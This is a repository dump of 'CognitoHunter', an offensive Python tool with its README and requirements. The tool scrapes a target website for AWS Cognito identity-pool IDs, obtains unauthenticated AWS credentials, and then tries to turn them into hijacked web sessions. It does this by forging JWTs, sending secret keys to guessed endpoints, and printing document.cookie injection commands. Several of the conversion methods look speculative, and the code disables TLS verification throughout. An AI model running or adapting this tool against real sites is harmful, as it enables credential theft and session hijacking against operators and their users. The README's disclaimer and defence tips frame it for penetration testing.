├── requirements.txt ├── README.md └── cognitohunter.py /requirements.txt: -------------------------------------------------------------------------------- 1 | # Core dependencies 2 | requests>=2.31.0 3 | beautifulsoup4>=4.12.0 4 | boto3>=1.34.0 5 | python-jwt>=4.0.0 6 | 7 | # AWS SDK dependencies 8 | botocore>=1.34.0 9 | 10 | # JWT and Crypto 11 | pyjwt>=2.8.0 12 | cryptography>=41.0.0 13 | 14 | # XML processing 15 | lxml>=4.9.0 16 | 17 | # HTTP and SSL 18 | urllib3>=2.0.0 19 | certifi>=2023.11.17 20 | 21 | # Utility 22 | python-dateutil>=2.8.2 23 | six>=1.16.0 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CognitoHunter 🎯 2 | 3 | A powerful AWS Cognito analysis and session hijacking toolkit designed for security researchers and penetration testers. CognitoHunter specializes in dissecting AWS Cognito implementations and performing advanced credential-to-session conversions. 4 | 5 | ![Python](https://img.shields.io/badge/python-v3.7+-blue) 6 | ![License](https://img.shields.io/badge/license-MIT-green) 7 | ![Version](https://img.shields.io/badge/version-1.0.0-blue) 8 | 9 | 10 | ## 🚀 Features 11 | 12 | - 🔍 **Deep Configuration Discovery** 13 | - Identifies AWS Cognito configurations in web apps and JS files 14 | - Extracts identity pools, user pools, and client IDs 15 | - Maps AWS authentication flows 16 | 17 | - 🔑 **Advanced Credential Acquisition** 18 | - Validates identity pools across multiple regions 19 | - Obtains AWS credentials for unauthenticated access 20 | - Extracts temporary security tokens 21 | 22 | - 🔄 **Multi-method Session Conversion** 23 | - SDK token exchange 24 | - Cognito hosted UI flow 25 | - AWS Web Identity federation 26 | - Browser SDK emulation 27 | - JWT token exchange 28 | - Direct API access 29 | 30 | - 🎯 **Session Validation & Hijacking** 31 | - Tests obtained sessions against common endpoints 32 | - Provides browser-ready cookie commands 33 | - Generates authorization headers 34 | - Validates session permissions 35 | 36 | ## 🛠️ Installation 37 | 38 | ```bash 39 | # Clone the repository 40 | git clone https://github.com/yourusername/cognitohunter.git 41 | cd cognitohunter 42 | 43 | # Install required packages 44 | pip3 install -r requirements.txt 45 | ``` 46 | 47 | ## 📖 Quick Start 48 | 49 | ### Full Analysis Mode 50 | ```bash 51 | python3 cognitohunter.py -u https://example.com -v --insecure 52 | ``` 53 | 54 | ### Direct Credentials Mode 55 | ```bash 56 | python3 cognitohunter.py -u https://example.com \ 57 | --creds "ACCESS_KEY:SECRET_KEY:SESSION_TOKEN" \ 58 | --identity "IDENTITY_ID" 59 | ``` 60 | 61 | ### Command Line Options 62 | ``` 63 | 🎯 CognitoHunter v1.0.0 - AWS Cognito Analysis Toolkit 64 | 65 | optional arguments: 66 | -h, --help show this help message and exit 67 | -u, --url URL Target URL to analyze 68 | -v, --verbose Enable verbose logging 69 | -o, --output FILE Output file for results 70 | --insecure Skip SSL verification 71 | --creds CREDS Use existing AWS credentials 72 | --identity ID Use existing Identity ID 73 | ``` 74 | 75 | ## 💡 Example Output 76 | 77 | ```json 78 | { 79 | "identity_pools": [ 80 | "us-west-2:6f4d8534-3bf0-4357-9b8b-750f2f3d23d3" 81 | ], 82 | "validations": [ 83 | { 84 | "type": "identity_pool", 85 | "id": "us-west-2:6f4d8534-3bf0-4357-9b8b-750f2f3d23d3", 86 | "identity_id": "us-west-2:c6d76489-2df1-cb8f-eb4b-e5fe685d350e", 87 | "credentials": { 88 | "AccessKeyId": "ASIA4NV3EREW5EFZTNHT", 89 | "SecretKey": "5eglHwsS0/QOF7Tz/OmO3xWRFQ1ppnnvJORERBM1", 90 | "SessionToken": "IQoJb3JpZ2luX2VjEJf..." 91 | } 92 | } 93 | ], 94 | "web_sessions": [ 95 | { 96 | "method": "sdk_token", 97 | "cookies": { 98 | "session": "example_session_cookie" 99 | }, 100 | "headers": { 101 | "Authorization": "Bearer example_token" 102 | } 103 | } 104 | ] 105 | } 106 | ``` 107 | 108 | ## 🔄 How It Works 109 | 110 | 1. **Configuration Discovery Phase** 111 | - Scans target website and JS files 112 | - Extracts AWS configurations 113 | - Maps authentication endpoints 114 | 115 | 2. **Credential Acquisition Phase** 116 | - Validates identity pools 117 | - Obtains AWS temporary credentials 118 | - Tests credential permissions 119 | 120 | 3. **Session Conversion Phase** 121 | - Attempts multiple conversion methods 122 | - Validates obtained sessions 123 | - Tests session permissions 124 | 125 | 4. **Result Generation Phase** 126 | - Provides detailed analysis 127 | - Generates exploitation commands 128 | - Validates session access 129 | 130 | ## 🛡️ Defense Recommendations 131 | 132 | 1. **Identity Pool Security** 133 | - Disable unauthenticated access unless required 134 | - Implement strict IAM roles 135 | - Regular audit of permissions 136 | 137 | 2. **Session Management** 138 | - Implement proper session timeouts 139 | - Use secure session storage 140 | - Validate session permissions 141 | 142 | 3. **General Security** 143 | - Hide AWS configurations 144 | - Implement proper CORS policies 145 | - Regular security audits 146 | 147 | ## ⚠️ Disclaimer 148 | 149 | This tool is for security research purposes only. Always obtain proper authorization before testing any systems or applications. 150 | 151 | ## 👥 Authors 152 | 153 | - Paul Seekamp (@nullenc0de) 154 | 155 | ## 🙏 Acknowledgments 156 | 157 | - Research based on work by NotSoSecure 158 | - Inspired by Theodo Cloud Security research 159 | - AWS Cognito security research community 160 | 161 | ## 📚 See Also 162 | 163 | - [AWS Cognito Documentation](https://docs.aws.amazon.com/cognito/) 164 | - [Identity Pools Guide](https://docs.aws.amazon.com/cognito/latest/developerguide/identity-pools.html) 165 | - [Web Identity Federation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_oidc.html) 166 | -------------------------------------------------------------------------------- /cognitohunter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import requests 4 | import json 5 | import xml.etree.ElementTree as ET 6 | from datetime import datetime, timezone, timedelta 7 | import re 8 | from urllib.parse import urlparse, urljoin 9 | import logging 10 | from bs4 import BeautifulSoup 11 | import boto3 12 | import uuid 13 | import argparse 14 | import sys 15 | import jwt 16 | import base64 17 | import urllib3 18 | urllib3.disable_warnings() 19 | 20 | class AWSCognitoAnalyzer: 21 | def __init__(self): 22 | self.session = requests.Session() 23 | self.logger = logging.getLogger('AWSCognitoAnalyzer') 24 | self.visited_urls = set() 25 | self.tokens = set() 26 | self.oauth_configs = {} 27 | 28 | def analyze_url(self, target_url): 29 | """Analyze a target URL for AWS Cognito configurations""" 30 | self.logger.info(f"Starting comprehensive analysis of: {target_url}") 31 | 32 | try: 33 | parsed_url = urlparse(target_url) 34 | if not parsed_url.scheme: 35 | target_url = f"https://{target_url}" 36 | 37 | base_url = target_url.rstrip('/') 38 | all_findings = {} 39 | 40 | # First check base URL 41 | base_findings = self._analyze_single_url(base_url) 42 | if base_findings: 43 | all_findings[base_url] = base_findings 44 | 45 | # Then check for JavaScript files 46 | js_findings = self._analyze_js_references(base_url) 47 | if js_findings: 48 | all_findings[f"{base_url}_js"] = js_findings 49 | 50 | return all_findings if all_findings else None 51 | 52 | except Exception as e: 53 | self.logger.error(f"Error analyzing URL: {str(e)}") 54 | return None 55 | 56 | def _analyze_single_url(self, url): 57 | """Analyze a single URL for AWS configurations""" 58 | if url in self.visited_urls: 59 | return None 60 | 61 | self.visited_urls.add(url) 62 | self.logger.debug(f"Analyzing URL: {url}") 63 | 64 | try: 65 | headers = { 66 | 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0', 67 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 68 | 'Accept-Language': 'en-US,en;q=0.5', 69 | 'Accept-Encoding': 'gzip, deflate, br' 70 | } 71 | 72 | response = self.session.get(url, headers=headers, verify=False, timeout=10) 73 | self.logger.debug(f"Response status: {response.status_code}") 74 | 75 | findings = self._extract_aws_configs(response.text) 76 | if findings: 77 | self.logger.info(f"Found AWS configurations in {url}") 78 | return findings 79 | 80 | except Exception as e: 81 | self.logger.error(f"Error analyzing {url}: {str(e)}") 82 | 83 | return None 84 | 85 | def _analyze_js_references(self, url): 86 | """Analyze JavaScript files referenced in the page""" 87 | try: 88 | response = self.session.get(url, verify=False) 89 | soup = BeautifulSoup(response.text, 'html.parser') 90 | 91 | findings = {} 92 | for script in soup.find_all('script', src=True): 93 | js_url = urljoin(url, script['src']) 94 | if js_url not in self.visited_urls: 95 | self.logger.debug(f"Analyzing JS file: {js_url}") 96 | js_findings = self._analyze_single_url(js_url) 97 | if js_findings: 98 | findings[js_url] = js_findings 99 | 100 | return findings if findings else None 101 | 102 | except Exception as e: 103 | self.logger.error(f"Error analyzing JS files: {str(e)}") 104 | return None 105 | 106 | def _extract_aws_configs(self, content): 107 | """Extract AWS configurations from content""" 108 | if not content: 109 | return None 110 | 111 | patterns = { 112 | 'identity_pool_id': r'(?:aws_cognito_identity_pool_id|identityPoolId|cognitoIdentityPoolId)["\']?\s*(?::|=)\s*["\']([^"\']+)', 113 | 'user_pool_id': r'(?:userPoolId|aws_user_pools_id)["\']?\s*(?::|=)\s*["\']([^"\']+)', 114 | 'client_id': r'(?:userPoolWebClientId|client-id|clientId)["\']?\s*(?::|=)\s*["\']([^"\']+)', 115 | 'region': r'(?:aws_cognito_region|region)["\']?\s*(?::|=)\s*["\']([^"\']+)', 116 | 'rum_role': r'(?:RoleArn=|roleArn"|roleArn=|role-arn)["\']?([^"\'&]+)' 117 | } 118 | 119 | results = {} 120 | for key, pattern in patterns.items(): 121 | matches = re.findall(pattern, content, re.IGNORECASE) 122 | if matches: 123 | results[key] = matches[0] 124 | self.logger.debug(f"Found {key}: {matches[0]}") 125 | 126 | return results if results else None 127 | 128 | class WebSessionManager: 129 | def __init__(self, base_url): 130 | self.base_url = base_url.replace("_js", "") # Fix URL issue 131 | self.session = requests.Session() 132 | self.logger = logging.getLogger('WebSessionManager') 133 | 134 | def test_session(self, session_data): 135 | """Test if a web session is valid""" 136 | results = {} 137 | 138 | common_endpoints = [ 139 | '/api/user/profile', 140 | '/api/me', 141 | '/api/account', 142 | '/dashboard', 143 | '/home' 144 | ] 145 | 146 | for endpoint in common_endpoints: 147 | url = urljoin(self.base_url, endpoint) 148 | 149 | try: 150 | headers = {} 151 | if 'token' in session_data: 152 | headers['Authorization'] = f'Bearer {session_data["token"]}' 153 | 154 | cookies = session_data.get('cookies', {}) 155 | 156 | response = requests.get(url, headers=headers, cookies=cookies, verify=False) 157 | 158 | if response.status_code == 200: 159 | results[endpoint] = { 160 | 'status': response.status_code, 161 | 'content_type': response.headers.get('content-type'), 162 | 'body_preview': response.text[:200] 163 | } 164 | 165 | except Exception as e: 166 | self.logger.debug(f"Test failed for {endpoint}: {str(e)}") 167 | 168 | return results if results else None 169 | 170 | class AWSIdentityValidator: 171 | def __init__(self, base_url): 172 | self.session = requests.Session() 173 | self.logger = logging.getLogger('AWSIdentityValidator') 174 | self.web_session_manager = WebSessionManager(base_url) 175 | self.base_url = base_url.replace("_js", "") # Fix URL issue 176 | 177 | def validate_identity_pool(self, identity_pool_id, region=None): 178 | """Attempt to get identity credentials""" 179 | try: 180 | # Try to extract region from pool ID if not provided 181 | if not region and ':' in identity_pool_id: 182 | region = identity_pool_id.split(':')[0] 183 | self.logger.debug(f"Extracted region from pool ID: {region}") 184 | 185 | regions_to_try = [region] if region else ['us-west-2', 'us-east-1', 'us-east-2', 'eu-west-1'] 186 | 187 | for try_region in regions_to_try: 188 | try: 189 | client = boto3.client('cognito-identity', region_name=try_region) 190 | identity_response = client.get_id( 191 | IdentityPoolId=identity_pool_id, 192 | Logins={} # Try unauthenticated access first 193 | ) 194 | 195 | if 'IdentityId' in identity_response: 196 | self.logger.info(f"Successfully obtained Identity ID") 197 | return identity_response 198 | 199 | except Exception as e: 200 | self.logger.debug(f"Failed in region {try_region}: {str(e)}") 201 | continue 202 | 203 | except Exception as e: 204 | self.logger.error(f"Error validating identity pool: {str(e)}") 205 | 206 | return None 207 | 208 | def get_credentials_for_identity(self, identity_id, region='us-west-2'): 209 | """Get AWS credentials for identity""" 210 | try: 211 | client = boto3.client('cognito-identity', region_name=region) 212 | creds_response = client.get_credentials_for_identity( 213 | IdentityId=identity_id 214 | ) 215 | 216 | if 'Credentials' in creds_response: 217 | return creds_response['Credentials'] 218 | 219 | except Exception as e: 220 | self.logger.error(f"Error getting credentials: {str(e)}") 221 | return None 222 | 223 | def try_web_session_conversion(self, identity_id, credentials): 224 | """Try all known methods to convert to web session""" 225 | results = {} 226 | 227 | # Method 1: Try SDK token exchange 228 | try: 229 | aws_auth_headers = { 230 | 'Authorization': f'AWS4-HMAC-SHA256 Credential={credentials.get("AccessKeyId")}', 231 | 'X-Amz-Security-Token': credentials.get('SessionToken'), 232 | 'X-Amz-Access-Key-Id': credentials.get('AccessKeyId'), 233 | 'X-Amz-Secret-Key': credentials.get('SecretKey') 234 | } 235 | 236 | # Try SDK token exchange endpoints 237 | sdk_endpoints = [ 238 | '/.cognito/identity/authorize', 239 | '/.cognito/oauth2/token', 240 | '/.cognito/token', 241 | '/oauth2/token' 242 | ] 243 | 244 | for endpoint in sdk_endpoints: 245 | try: 246 | url = urljoin(self.base_url, endpoint) 247 | response = requests.post(url, headers=aws_auth_headers, verify=False) 248 | if response.status_code in [200, 302]: 249 | results['sdk_token'] = { 250 | 'endpoint': endpoint, 251 | 'cookies': dict(response.cookies), 252 | 'headers': dict(response.headers) 253 | } 254 | break 255 | except Exception as e: 256 | self.logger.debug(f"SDK endpoint {endpoint} failed: {str(e)}") 257 | except Exception as e: 258 | self.logger.debug(f"SDK token exchange failed: {str(e)}") 259 | 260 | # Method 2: Try Cognito hosted UI with credentials 261 | try: 262 | # Get OIDC configuration 263 | config_url = urljoin(self.base_url, '/.well-known/openid-configuration') 264 | config_response = requests.get(config_url, verify=False) 265 | 266 | if config_response.status_code == 200: 267 | config = config_response.json() 268 | authorize_endpoint = config.get('authorization_endpoint') 269 | 270 | if authorize_endpoint: 271 | auth_params = { 272 | 'client_id': 'aws-cognito', 273 | 'response_type': 'token', 274 | 'scope': 'openid profile', 275 | 'nonce': str(uuid.uuid4()), 276 | 'state': str(uuid.uuid4()), 277 | 'identity_id': identity_id, 278 | 'aws_credentials': json.dumps({ 279 | 'AccessKeyId': credentials.get('AccessKeyId'), 280 | 'SecretKey': credentials.get('SecretKey'), 281 | 'SessionToken': credentials.get('SessionToken') 282 | }) 283 | } 284 | 285 | auth_response = requests.get(authorize_endpoint, params=auth_params, allow_redirects=False, verify=False) 286 | if auth_response.status_code in [302, 200]: 287 | results['hosted_ui'] = { 288 | 'location': auth_response.headers.get('Location'), 289 | 'cookies': dict(auth_response.cookies) 290 | } 291 | except Exception as e: 292 | self.logger.debug(f"Hosted UI flow failed: {str(e)}") 293 | 294 | # Method 3: Try AWS Web Identity Flow 295 | try: 296 | # Get STS credentials 297 | sts_client = boto3.client('sts', 298 | aws_access_key_id=credentials.get('AccessKeyId'), 299 | aws_secret_access_key=credentials.get('SecretKey'), 300 | aws_session_token=credentials.get('SessionToken') 301 | ) 302 | 303 | # Get caller identity 304 | caller = sts_client.get_caller_identity() 305 | assumed_role_arn = caller['Arn'] 306 | 307 | # Try exchanging role info for session 308 | auth_url = urljoin(self.base_url, '/api/auth/aws') 309 | headers = { 310 | 'Content-Type': 'application/json', 311 | 'X-AWS-ARN': assumed_role_arn 312 | } 313 | 314 | role_response = requests.post(auth_url, 315 | headers=headers, 316 | json={'role_arn': assumed_role_arn}, 317 | verify=False 318 | ) 319 | 320 | if role_response.status_code == 200: 321 | results['role_exchange'] = { 322 | 'cookies': dict(role_response.cookies), 323 | 'headers': dict(role_response.headers), 324 | 'response': role_response.json() if role_response.text else None 325 | } 326 | except Exception as e: 327 | self.logger.debug(f"Role exchange failed: {str(e)}") 328 | 329 | # Method 4: Try Browser SDK flow 330 | try: 331 | js_params = { 332 | 'identityId': identity_id, 333 | 'accessKeyId': credentials.get('AccessKeyId'), 334 | 'secretKey': credentials.get('SecretKey'), 335 | 'sessionToken': credentials.get('SessionToken'), 336 | 'region': 'us-west-2' 337 | } 338 | 339 | # Emulate browser SDK calls 340 | auth_url = urljoin(self.base_url, '/api/auth/session') 341 | sdk_response = requests.post(auth_url, json=js_params, verify=False) 342 | 343 | if sdk_response.status_code == 200: 344 | results['browser_sdk'] = { 345 | 'cookies': dict(sdk_response.cookies), 346 | 'headers': dict(sdk_response.headers), 347 | 'response': sdk_response.json() if sdk_response.text else None 348 | } 349 | except Exception as e: 350 | self.logger.debug(f"Browser SDK flow failed: {str(e)}") 351 | 352 | # Method 5: Try JWT token exchange 353 | try: 354 | jwt_headers = { 355 | 'Content-Type': 'application/json', 356 | 'X-Identity-Token': credentials.get('SessionToken') 357 | } 358 | 359 | jwt_payload = { 360 | 'sub': identity_id, 361 | 'iss': self.base_url, 362 | 'aud': 'aws-cognito', 363 | 'token_use': 'access', 364 | 'auth_time': int(datetime.utcnow().timestamp()), 365 | 'exp': int((datetime.utcnow() + timedelta(hours=1)).timestamp()), 366 | 'iat': int(datetime.utcnow().timestamp()), 367 | 'jti': str(uuid.uuid4()), 368 | 'client_id': 'aws-cognito', 369 | 'username': identity_id, 370 | 'cognito:groups': ['aws-identity'], 371 | 'aws:credentials': { 372 | 'AccessKeyId': credentials.get('AccessKeyId'), 373 | 'SecretKey': credentials.get('SecretKey'), 374 | 'SessionToken': credentials.get('SessionToken') 375 | } 376 | } 377 | 378 | # Try signing with different keys 379 | signing_keys = [ 380 | credentials.get('SecretKey'), 381 | base64.b64encode(credentials.get('SecretKey', '').encode()).decode(), 382 | credentials.get('SessionToken') 383 | ] 384 | 385 | for key in signing_keys: 386 | try: 387 | token = jwt.encode(jwt_payload, key, algorithm='HS256') 388 | jwt_headers['Authorization'] = f'Bearer {token}' 389 | 390 | # Try JWT token endpoints 391 | jwt_endpoints = ['/api/auth/jwt', '/api/auth/token', '/auth/jwt'] 392 | 393 | for endpoint in jwt_endpoints: 394 | jwt_url = urljoin(self.base_url, endpoint) 395 | jwt_response = requests.post(jwt_url, headers=jwt_headers, verify=False) 396 | 397 | if jwt_response.status_code == 200: 398 | results['jwt_exchange'] = { 399 | 'endpoint': endpoint, 400 | 'token': token, 401 | 'cookies': dict(jwt_response.cookies), 402 | 'headers': dict(jwt_response.headers) 403 | } 404 | break 405 | except: 406 | continue 407 | except Exception as e: 408 | self.logger.debug(f"JWT exchange failed: {str(e)}") 409 | 410 | # Method 6: Try direct API access with credentials 411 | try: 412 | api_headers = { 413 | 'X-Amz-Security-Token': credentials.get('SessionToken'), 414 | 'X-Amz-Access-Key-Id': credentials.get('AccessKeyId'), 415 | 'X-Amz-Secret-Access-Key': credentials.get('SecretKey'), 416 | } 417 | 418 | api_endpoints = ['/api/auth', '/api/v1/auth', '/api/session'] 419 | 420 | for endpoint in api_endpoints: 421 | try: 422 | api_url = urljoin(self.base_url, endpoint) 423 | api_response = requests.post(api_url, headers=api_headers, verify=False) 424 | 425 | if api_response.status_code == 200: 426 | results['api_access'] = { 427 | 'endpoint': endpoint, 428 | 'cookies': dict(api_response.cookies), 429 | 'headers': dict(api_response.headers) 430 | } 431 | break 432 | except Exception as e: 433 | self.logger.debug(f"API access failed for {endpoint}: {str(e)}") 434 | except Exception as e: 435 | self.logger.debug(f"API access failed: {str(e)}") 436 | 437 | # Log debug info for manual investigation 438 | self.logger.debug("Debug Info:") 439 | self.logger.debug(f"Identity ID: {identity_id}") 440 | self.logger.debug(f"Access Key: {credentials.get('AccessKeyId')}") 441 | self.logger.debug(f"Assumed Role: {caller['Arn'] if 'caller' in locals() else 'Unknown'}") 442 | 443 | return results if results else None 444 | 445 | def process_aws_configs(configs, analyzer): 446 | """Process discovered AWS configurations""" 447 | if not configs: 448 | return None 449 | 450 | # Find the base URL from configs 451 | base_url = None 452 | for url in configs.keys(): 453 | if url.startswith('http'): 454 | base_url = url.replace("_js", "") # Fix URL issue 455 | break 456 | 457 | if not base_url: 458 | return None 459 | 460 | validator = AWSIdentityValidator(base_url) 461 | results = { 462 | "identity_pools": [], 463 | "validations": [], 464 | "web_sessions": [] 465 | } 466 | 467 | # Extract unique identity pools 468 | for url_data in configs.values(): 469 | if isinstance(url_data, dict): 470 | for url_configs in url_data.values(): 471 | if isinstance(url_configs, dict): 472 | if 'identity_pool_id' in url_configs: 473 | pool_id = url_configs['identity_pool_id'] 474 | if pool_id not in results['identity_pools']: 475 | results['identity_pools'].append(pool_id) 476 | 477 | # Validate each identity pool 478 | for pool_id in results['identity_pools']: 479 | print(f"\nValidating Identity Pool: {pool_id}") 480 | validation_result = validator.validate_identity_pool(pool_id) 481 | 482 | if validation_result and 'IdentityId' in validation_result: 483 | identity_id = validation_result['IdentityId'] 484 | print(f"Got Identity ID: {identity_id}") 485 | 486 | # Get AWS credentials 487 | credentials = validator.get_credentials_for_identity(identity_id) 488 | if credentials: 489 | print("Successfully obtained AWS credentials") 490 | 491 | # Try web session conversion 492 | print("\nAttempting web session conversion...") 493 | web_sessions = validator.try_web_session_conversion(identity_id, credentials) 494 | 495 | if web_sessions: 496 | print("Successfully obtained web sessions!") 497 | print("\nWeb Session Details:") 498 | for method, session in web_sessions.items(): 499 | print(f"\nMethod: {method}") 500 | if 'cookies' in session: 501 | print("\nCookie Commands:") 502 | for cookie_name, cookie_value in session['cookies'].items(): 503 | print(f"document.cookie = '{cookie_name}={cookie_value}; path=/;'") 504 | if 'token' in session: 505 | print(f"\nAuthorization: Bearer {session['token']}") 506 | 507 | results['web_sessions'].append({ 508 | 'identity_pool_id': pool_id, 509 | 'identity_id': identity_id, 510 | 'sessions': web_sessions 511 | }) 512 | else: 513 | print("Failed to convert to web session") 514 | print("\nDebug Information:") 515 | print(f"Identity ID: {identity_id}") 516 | print(f"Access Key ID: {credentials.get('AccessKeyId')}") 517 | print(f"Session Token Length: {len(credentials.get('SessionToken', ''))}") 518 | 519 | results['validations'].append({ 520 | 'type': 'identity_pool', 521 | 'id': pool_id, 522 | 'identity_id': identity_id, 523 | 'credentials': credentials 524 | }) 525 | else: 526 | print("Failed to get AWS credentials") 527 | 528 | return results 529 | 530 | def main(): 531 | parser = argparse.ArgumentParser(description="Advanced AWS Cognito Analyzer") 532 | parser.add_argument('-u', '--url', help="Target URL to analyze") 533 | parser.add_argument('-v', '--verbose', action='store_true', help="Enable verbose logging") 534 | parser.add_argument('-o', '--output', help="Output file for results") 535 | parser.add_argument('--insecure', action='store_true', help="Skip SSL verification") 536 | parser.add_argument('--creds', help="Use existing AWS credentials (AccessKey:SecretKey:SessionToken)") 537 | parser.add_argument('--identity', help="Use existing Identity ID") 538 | args = parser.parse_args() 539 | 540 | # Setup logging 541 | log_level = logging.DEBUG if args.verbose else logging.INFO 542 | logging.basicConfig( 543 | level=log_level, 544 | format='%(asctime)s - %(name)s - %(levelname)s - %(message)s' 545 | ) 546 | 547 | if not args.url: 548 | parser.print_help() 549 | sys.exit(1) 550 | 551 | # Disable SSL warnings if using insecure mode 552 | if args.insecure: 553 | urllib3.disable_warnings() 554 | 555 | # If credentials are provided directly 556 | if args.creds and args.identity: 557 | access_key, secret_key, session_token = args.creds.split(':') 558 | credentials = { 559 | 'AccessKeyId': access_key, 560 | 'SecretKey': secret_key, 561 | 'SessionToken': session_token 562 | } 563 | 564 | validator = AWSIdentityValidator(args.url) 565 | web_session = validator.try_web_session_conversion(args.identity, credentials) 566 | 567 | if web_session: 568 | print("\nSuccessfully converted credentials to web session!") 569 | for method, session in web_session.items(): 570 | print(f"\nMethod: {method}") 571 | if 'cookies' in session: 572 | print("\nCookie Commands:") 573 | for cookie_name, cookie_value in session['cookies'].items(): 574 | print(f"document.cookie = '{cookie_name}={cookie_value}; path=/;'") 575 | if 'token' in session: 576 | print(f"\nAuthorization: Bearer {session['token']}") 577 | 578 | if args.output: 579 | with open(args.output, 'w') as f: 580 | json.dump(web_session, f, indent=2, default=str) 581 | print(f"\nResults saved to {args.output}") 582 | sys.exit(0) 583 | 584 | # Full analysis mode 585 | analyzer = AWSCognitoAnalyzer() 586 | configs = analyzer.analyze_url(args.url) 587 | 588 | if configs: 589 | print("\nDiscovered AWS configurations:") 590 | print(json.dumps(configs, indent=2)) 591 | 592 | print("\nAttempting to validate configurations and obtain web sessions...") 593 | results = process_aws_configs(configs, analyzer) 594 | 595 | if results: 596 | print("\nValidation Results:") 597 | print(json.dumps(results, indent=2, default=str)) 598 | 599 | if args.output: 600 | with open(args.output, 'w') as f: 601 | json.dump(results, f, indent=2, default=str) 602 | print(f"\nResults saved to {args.output}") 603 | else: 604 | print("No successful validations") 605 | else: 606 | print("No AWS configurations found.") 607 | 608 | if __name__ == "__main__": 609 | main() 610 | --------------------------------------------------------------------------------